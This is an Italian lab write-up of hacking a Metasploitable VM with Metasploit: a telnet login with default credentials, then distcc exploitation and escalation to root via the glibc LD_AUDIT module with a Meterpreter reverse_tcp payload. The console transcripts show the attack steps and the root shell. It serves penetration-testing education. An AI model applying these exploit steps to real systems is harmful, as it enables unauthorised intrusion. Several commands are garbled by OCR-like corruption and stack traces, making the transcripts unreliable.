2. Hacking con Metasploit

- Vulnerabilità relativa aTelnet con modulo auxiliary telnet_version -

Servizio telnet sulla porta 23

Facendo runnare l'exploit possiamo risalire a username e password di Meta.

Possiamo quindi accedere alla macchina da remoto inserendo il servizio seguito dall'ip ed inserendo le credenziali trovate in precedenza.

```
msf6 auxiliary(seamer/telnet version) > telnet 192.168.1.40

Trying 192.168.1.40 ...
Connected to 192.168.1.40.
Escape character is '^]'.

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Tue Mar 7 07:45:00 EST 2023 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

To access official Ubuntu documentation, please visit: http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:-$
```

- Privilage Excalation -

Attraverso MSFConsole selezioniamo l'exploit del servizio distcc

Una volta impostato l'rhosts andiamo a scegliere ip payload n. 5 e lo facciamo partire. Una volta entrati possiamo vedere che non abbiamo nessun privilegio e che siamo utente daemon.

Esco dalla sessione lasciandola in background

Creo una sessione con Meterpreter col flag -u e ci interagisco col flag -i Ritorno al prompt principale e settiamo la sessione sulla nostra Shell Meterpreter e facciamo partire

Utilizziamo uno degli exploit trovati per ottenere i privilegi e diventare root

```
[*] Post module execution completed
msf6 post(multi/secur/local_exploit_summester) > use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
/usr/share/metasploit-framework/lib/msf/core/modules/metadata/search.rb:105: warning: Exception in finalizer #<Proc:0*0000ffff88386098
/usr/share/metasploit-framework/lib/rex/post/meterpreter/channel.rb:154>
/usr/share/metasploit-framework/lib/rex/post/meterpreter/packet_dispatcher.rb:147:in `synchronize': can't be called from trap context (
ThreadError)

from /usr/share/metasploit-framework/lib/rex/post/meterpreter/packet_dispatcher.rb:120:in `send_packet'
    from /usr/share/metasploit-framework/lib/rex/post/meterpreter/packet_dispatcher.rb:120:in `send_packet_wait_response'
    from /usr/share/metasploit-framework/lib/rex/post/meterpreter/packet_dispatcher.rb:105:in `send_packet_wait_response'
    from /usr/share/metasploit-framework/lib/rex/post/meterpreter/channel.rb:199:in `close'
    from /usr/share/metasploit-framework/lib/msf/core/modules/metadata/search.rb:105:in `block in finalize'
    from /usr/share/metasploit-framework/lib/msf/core/modules/metadata/search.rb:105:in `block in is_match'
    from /usr/share/metasploit-framework/lib/msf/core/modules/metadata/search.rb:103:in `is_match'
    from /usr/share/metasploit-framework/lib/msf/core/modules/metadata/search.rb:103:in `is_match'
    from /usr/share/metasploit-framework/lib/msf/core/modules/metadata/search.rb:83:in `cach'
    from /usr/share/metasploit-framework/lib/msf/core/modules/metadata/search.rb:83:in `in each'
    from /usr/share/metasploit-framework/lib/msf/core/modules/metadata/search.rb:83:in `cach'
    from /usr/share/metasp
```

Come prima settiamo la sessione su 2 (Meterpreter)

```
session ⇒ 2
//usr/share/metasploit-framework/vendor/bundle/ruby/3.1.0/gems/rb-readline-0.5.5/lib/rbreadline.rb:8654: warning: Exception in finalizer
#<Proc:o>00000ffff89d32500 //usr/share/metasploit-framework/lib/rex/post/meterpreter/channel.rb:154>
//usr/share/metasploit-framework/lib/rex/post/meterpreter/packet_dispatcher.rb:147:in `synchronize': can't be called from trap context (
ThreadError)

from //usr/share/metasploit-framework/lib/rex/post/meterpreter/packet_dispatcher.rb:147:in `send_packet'
from //usr/share/metasploit-framework/lib/rex/post/meterpreter/packet_dispatcher.rb:220:in `send_packet_wait_response'
from //usr/share/metasploit-framework/lib/rex/post/meterpreter/packet_dispatcher.rb:176:in `send_request'
from //usr/share/metasploit-framework/lib/rex/post/meterpreter/channel.rb:199:in `close'
from //usr/share/metasploit-framework/lib/rex/post/meterpreter/channel.rb:156:in `block in finalize'
from //usr/share/metasploit-framework/vendor/bundle/ruby/3.1.0/gems/rb-readline-0.5.5/lib/rbreadline.rb:8654:in `[]'
from //usr/share/metasploit-framework/vendor/bundle/ruby/3.1.0/gems/rb-readline-0.5.5/lib/rbreadline.rb:8654:in `_rl_adjust_poin
+'
```

E selezioniamo il payload che ci darà un'altra sessione di Meterpreter quando l'exploit sarà finito.

Settiamo la porta e l'host di ascolto (la nostra macchina) e facciamo partire.

Come risultato avremo una nuova sessione di Meterpreter che trasformiamo in Shell e
verifichiamo di essere diventati utente root.

```
) > set payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(
payload ⇒ linux/x86/meterpreter/reverse_tcp
msf6 exploit(
\frac{msf6}{lhost} exploit(\frac{linux}{los})
msf6 exploit(
                                                                             ) > set lport 4321
msf6 exploit(
[*] Started reverse TCP handler on 192.168.1.25:4321
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.kcPePr' (1271 bytes) ...
[*] Writing '/tmp/.6tXlnXLe' (276 bytes) ...
[*] Writing '/tmp/.EZEfVZ1MW' (207 bytes) ...
[*] Launching exploit ...
[*] Sending stage (1017704 bytes) to 192.168.1.40
[*] Meterpreter session 4 opened (192.168.1.25:4321 → 192.168.1.40:53130) at 2023-03-07 15:37:19 +0100
<u>meterpreter</u> > shell
Process 5384 created.
Channel 1 created.
uid=0(root) gid=0(root) groups=1(daemon)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```